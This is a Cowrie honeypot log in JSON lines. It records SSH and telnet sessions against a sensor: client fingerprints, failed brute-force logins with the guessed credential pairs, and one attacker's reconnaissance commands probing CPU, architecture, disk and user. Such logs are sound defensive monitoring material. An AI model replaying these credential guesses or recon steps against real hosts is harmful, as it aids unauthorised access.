{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:02.474135Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:02.729034Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.23286151885986,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:03.283311Z","src_ip":"192.119.13.58","session":"d82e8b5fa25c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:03.460033Z","src_ip":"80.66.85.226","session":"f68d02c325a6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:03.737438Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:03.741282Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:03.995038Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:04.551334Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:04.556068Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:04.811165Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.93515396118164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:05.570506Z","src_ip":"192.119.13.58","session":"111cbc43c738","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:05.848602Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:05.852571Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:06.106416Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50406,"dst_ip":"10.17.0.5","dst_port":23,"session":"121d4e81c0a8","protocol":"telnet","message":"New connection: 192.119.13.58:50406 (10.17.0.5:23) [session: 121d4e81c0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:06.124466Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:06.660617Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:06.664589Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:06.931488Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.0090606212616,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:06.995282Z","src_ip":"192.119.13.58","session":"2edd04cf3999","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:07.483868Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:07.487628Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55600,"dst_ip":"10.17.0.5","dst_port":23,"session":"706902e13c9f","protocol":"telnet","message":"New connection: 192.119.13.58:55600 (10.17.0.5:23) [session: 706902e13c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:07.494853Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:07.741243Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58288,"dst_ip":"10.17.0.5","dst_port":23,"session":"a79bb7fdb671","protocol":"telnet","message":"New connection: 192.119.13.58:58288 (10.17.0.5:23) [session: a79bb7fdb671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:08.031510Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:08.747831Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:08.751520Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:09.006192Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:09.555187Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:09.558638Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:09.811985Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.2","message":"Connection lost after 30.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:09.818119Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.62389087677002,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:10.122199Z","src_ip":"192.119.13.58","session":"721b2738ad0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":40426,"dst_ip":"10.17.0.5","dst_port":22,"session":"869cff6e76e4","protocol":"ssh","message":"New connection: 175.118.127.138:40426 (10.17.0.5:22) [session: 869cff6e76e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:12.530626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:12.535505Z","src_ip":"175.118.127.138","session":"869cff6e76e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:12.715514Z","src_ip":"175.118.127.138","session":"869cff6e76e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"Claude2026!","message":"login attempt [claude/Claude2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:13.467188Z","src_ip":"175.118.127.138","session":"869cff6e76e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:14.650554Z","src_ip":"175.118.127.138","session":"869cff6e76e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39736,"dst_ip":"10.17.0.5","dst_port":23,"session":"fee7b41dc852","protocol":"telnet","message":"New connection: 192.119.13.58:39736 (10.17.0.5:23) [session: fee7b41dc852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:17.633776Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40368,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf39a6568d90","protocol":"telnet","message":"New connection: 192.119.13.58:40368 (10.17.0.5:23) [session: cf39a6568d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:17.790275Z"}
{"eventid":"cowrie.session.closed","duration":45.40479016304016,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:18.926831Z","src_ip":"192.119.13.58","session":"3f12dd114233","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.57032799720764,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:19.108102Z","src_ip":"192.119.13.58","session":"b2ab0c3435ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53956,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3cf9743364b","protocol":"telnet","message":"New connection: 192.119.13.58:53956 (10.17.0.5:23) [session: e3cf9743364b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:21.083240Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59516,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a6c61fe0cae","protocol":"ssh","message":"New connection: 51.250.105.222:59516 (10.17.0.5:22) [session: 0a6c61fe0cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:22.138024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:22.150757Z","src_ip":"51.250.105.222","session":"0a6c61fe0cae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:22.279983Z","src_ip":"51.250.105.222","session":"0a6c61fe0cae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pro100","message":"login attempt [root/pro100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:22.664314Z","src_ip":"51.250.105.222","session":"0a6c61fe0cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:23.795403Z","src_ip":"51.250.105.222","session":"0a6c61fe0cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45048,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb9d1ce63e37","protocol":"telnet","message":"New connection: 192.119.13.58:45048 (10.17.0.5:23) [session: eb9d1ce63e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:25.782067Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47346,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c0562f05613","protocol":"telnet","message":"New connection: 192.119.13.58:47346 (10.17.0.5:23) [session: 8c0562f05613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:26.319093Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53388,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bd4a6ab1744","protocol":"telnet","message":"New connection: 192.119.13.58:53388 (10.17.0.5:23) [session: 6bd4a6ab1744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:27.862536Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44702,"dst_ip":"10.17.0.5","dst_port":23,"session":"d05752f4d7d3","protocol":"telnet","message":"New connection: 192.119.13.58:44702 (10.17.0.5:23) [session: d05752f4d7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:32.791073Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":52278,"dst_ip":"159.203.135.109","dst_port":22,"session":"281b6d03abd8","protocol":"ssh","message":"New connection: 103.173.227.57:52278 (159.203.135.109:22) [session: 281b6d03abd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:33.419659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:33.425244Z","src_ip":"103.173.227.57","session":"281b6d03abd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.94087266921997,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:33.667743Z","src_ip":"192.119.13.58","session":"51c42d38419d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:33.673656Z","src_ip":"103.173.227.57","session":"281b6d03abd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.77503538131714,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:34.293708Z","src_ip":"192.119.13.58","session":"fb64b8521a2b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"as12345","message":"login attempt [root/as12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:34.402268Z","src_ip":"103.173.227.57","session":"281b6d03abd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55752,"dst_ip":"10.17.0.5","dst_port":23,"session":"6606af776467","protocol":"telnet","message":"New connection: 192.119.13.58:55752 (10.17.0.5:23) [session: 6606af776467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:35.440192Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:35.652246Z","src_ip":"103.173.227.57","session":"281b6d03abd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.56014895439148,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:35.785550Z","src_ip":"192.119.13.58","session":"bd81707ea029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59902,"dst_ip":"10.17.0.5","dst_port":23,"session":"623f6cec8074","protocol":"telnet","message":"New connection: 192.119.13.58:59902 (10.17.0.5:23) [session: 623f6cec8074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:36.557626Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":49497,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b4bcda6f33a","protocol":"ssh","message":"New connection: 122.51.73.24:49497 (10.17.0.5:22) [session: 7b4bcda6f33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:37.527896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:18:37.532620Z","src_ip":"122.51.73.24","session":"7b4bcda6f33a","protocol":"ssh"}
